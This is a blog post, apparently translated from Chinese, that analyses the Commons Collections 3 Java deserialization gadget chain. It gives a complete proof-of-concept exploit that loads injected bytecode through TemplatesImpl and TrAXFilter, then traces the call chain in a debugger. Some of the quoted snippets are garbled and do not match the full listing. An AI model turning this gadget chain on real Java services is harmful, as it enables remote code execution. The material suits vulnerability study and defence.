Common collections3 analysis of Java Security

Common collections3 analysis of Java Security

Article launch: common collections3 analysis of Java Security

0x00 Preface

After learning the previous CC1 chain and CC2 chain, it will be easier to look at CC3 chain. The utilization chain of CC1 is

Map(Proxy). Entryset() triggers annotationinvocationhandler Invoke(), and the utilization chain of CC2 chain is through invokertransformer Transform() calls newtransformer to trigger rce. Not so detailed here. If you are interested, you can see the previous articles. It is said that CC3 chain is a combination of CC1 and CC2 chains. Let's analyze the CC3 chain.

0x01 pre knowledge

In fact, many new knowledge points are not used in the construction of CC3 utilization chain, but new classes need to be recorded.

InstantiateTransformer

First, let's take a look at the construction method.

When you look at the following code, you will find that its transform method is very interesting.

The transform method instantiates an object using reflection and returns.

TrAXFilter

Check the construction method of traxfilter and you will find something more interesting

_transformer = (TransformerImpl) templates.newTransformer();

The newtransformer() method of the passed in parameter was called. In CC2 chain analysis, reflection is used to call newtransformer, and newtransformer calls definetransletclasses(). Finally, call_ class. Newinstance() instantiation_ Class object. If you use traxfilter, you don't need the transform method reflection of invokertransformer to call.

0x02 POC analysis

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws ClassNotFoundException,NoSuchMethodException,IOException,illegalaccessexception,InvocationTargetException,InstantiationException,NotFoundException,CannotCompileException,NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

The above is a PoC code. Let's analyze why POC should be constructed in this way.

 String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

Let's run it again and see the results

Can execute successfully and pop up the calculator.

As like as two peas, the front part of the code is exactly the same as CC2's structure. It was mentioned in the CC2 chain analysis article. Here is a brief overview.

Common collections2 analysis of Java Security

Here is to create a class in javassist mode, and then set the main body of the class to runtime Exec ("CLAC. Exe"), after setting, convert this class into bytecode.

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,"test");

Reflection gets the name of the templatesimpl class_ Bytecodes member variable, set the value to the bytecode converted by javassist class above.

Reflection gets the name of the templatesimpl class_ Name member variable, set the value to test.

 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),new Object[]{templatesImpl})
        };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

When constanttransformer calls the transform method, it will traverse to call the transform method in the array. And the execution result is passed into the parameters of the second traversal execution.

Execute this for the first time Itransformers [i] is constant transformer. Therefore, the transform method of constanttransformer is called, which directly returns the incoming object. A traxfilter is returned here Class object.

The traxfilter is passed in during the second traversal Class object, and then get the method reflected, instantiate an object with newinstance and return it.

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

Here is to pass in the instantiated object of chainedtransformer constructed above. When you call the get method of lazymap, you will call the transform method of the constructed chainedtransformer object.

Then the following will lead to the call of the get method of lazymap. Let's look at the following code.

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,map1);

Reflection creates an annotationinvocationhandler object and passes it in override Class and lazymap, and use annotationinvocationhandler as the calling processor to make a dynamic proxy for lazymap. Why should we pass in an override Class. In fact, the annotationinvocationhandler is a class that handles annotations. The first parameter of the constructor is an annotation class type parameter, and the second is a map type parameter (all annotation types inherit from this annotation interface). It is feasible whether retention.class or override.class is passed in.

After the lazyMap is acted as an agent, any method invoked will execute the invoke method of calling the processor. Annotationinvocationhandler implements invocationhandler and can be passed in as a calling handler. If we call any method of lazymap at this time, the invoke method in annotationinvocationhandler will be executed once. The get method is called in the invoke method of annotationinvocationhandler.

After calling the get method and returning to the previous place, we will call the transform method to complete the following command execution. I won't go into detail here.

After analyzing the POC code, I didn't see a complete call chain. It's necessary to debug it here.

0x03 CC3 chain commissioning

First, make a breakpoint in the readObject method of annotationinvocationhandler for debugging and analysis

You can see this here The value of membervalues is the object of the proxy lazymap, and the entryset method of lazymap is called. At this time, the invoke method of the calling processor of the proxy object will execute. As mentioned earlier, the annotationinvocationhandler is used as the calling processor. What is called here is the invoke method of annotationinvocationhandler. Follow up the invoke method.

The invoke method internally calls the get method of lazymap. Let's follow up the get method

@H_ 428_ 301@

You can actually see this here factory. transform(key);, The transform method is called, here is this Factory is an instantiated object of chainedtransformer. Follow up the transform method again, and you can see the call structure inside the transform of chainedtransformer.

During POC construction, an array is passed in for the chainedtransformer object. The first value of the array is the instantiated object of constanttransformer and the second is the instantiated object of instantiatetransformer.

So here we go through this for the first time The value of itransformers [i] is constanttransformer. The transform of constanttransformer will directly return the incoming object. When the POC code is constructed, the traxfilter object is passed in, so the traxfilter will be returned directly here and will be used as the parameter value for the second traversal.

In the second traversal, this The value of itransformers [i] is the instantiated object of instantiatetransformer. Therefore, the transform method of instantiatetransformer is called and the traxfilter object is passed in. Follow up the transform method of instantiatetransformer.

It's actually interesting here. The traxfilter object just passed in, so the input here is traxfilter, this Iparamtypes are templates, this Iargs instantiates the object for the constructed malicious templatesimpl. (the reason why it is said that it is a malicious templatesimpl object here is that it uses reflection to set its _bytecodesto the bytecode of a malicious class dynamically created by javassist)

In the transform method, the getconstructor method is used to obtain the constructor whose traxfilter parameter is templates.

Use this constructor to create an object and pass in a malicious templatesimpl instantiation object. In this constructor, the newtransformer method of templatesimpl will be called. Follow up the newtransformer method.

The gettransletinstance method is called inside the newtransformer method. Follow up.

You can see here that judgment first_ Whether the value of name is empty. If it is empty, it will return null and will not be executed downward. That's why we used reflection to get and modify_ The reason for the name value.

The next step is judgment_ Whether class is empty is obvious_ If the class value is null, the definetransletclasses method will be called to follow up.

The paragraph marked below is_ Bytecodes yes_ Class, here_ The value of bytecodes is the bytecode of a malicious class dynamically created by javassist. After execution, go to the next step.

Here, the bytecode will be called, and the newinstance method will instantiate an object, and then you can see that the command is executed successfully.

In fact, I also mentioned in CC2 chain analysis about why calling newinstance to instantiate an object can directly execute the command successfully. It mainly depends on how javassist constructs a class when it is used to dynamically create a class.

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

First write the class to the file, and then check it.

It is clear at a glance that when using setbody to set the body, the code is actually inserted into the static code block. The code of the static code block will be executed when the object is instantiated.

Call chain

AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()

0x04 end

In fact, when debugging the CC3 utilization chain, you will find that the first half uses the POC code of the CC2 utilization chain, and the second half is the CC1 utilization chain code. After debugging these two utilization chains, debugging CC3 utilization chain will be relatively simple and easy to understand.

When writing this article, the first time I finished coding, the computer had a blue screen. When you reopen the file, the article file is also empty. I can only rewrite it once, but after rewriting, I found that although the number of words is almost the same, I still feel that there are fewer details, but I don't know where there are fewer details.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>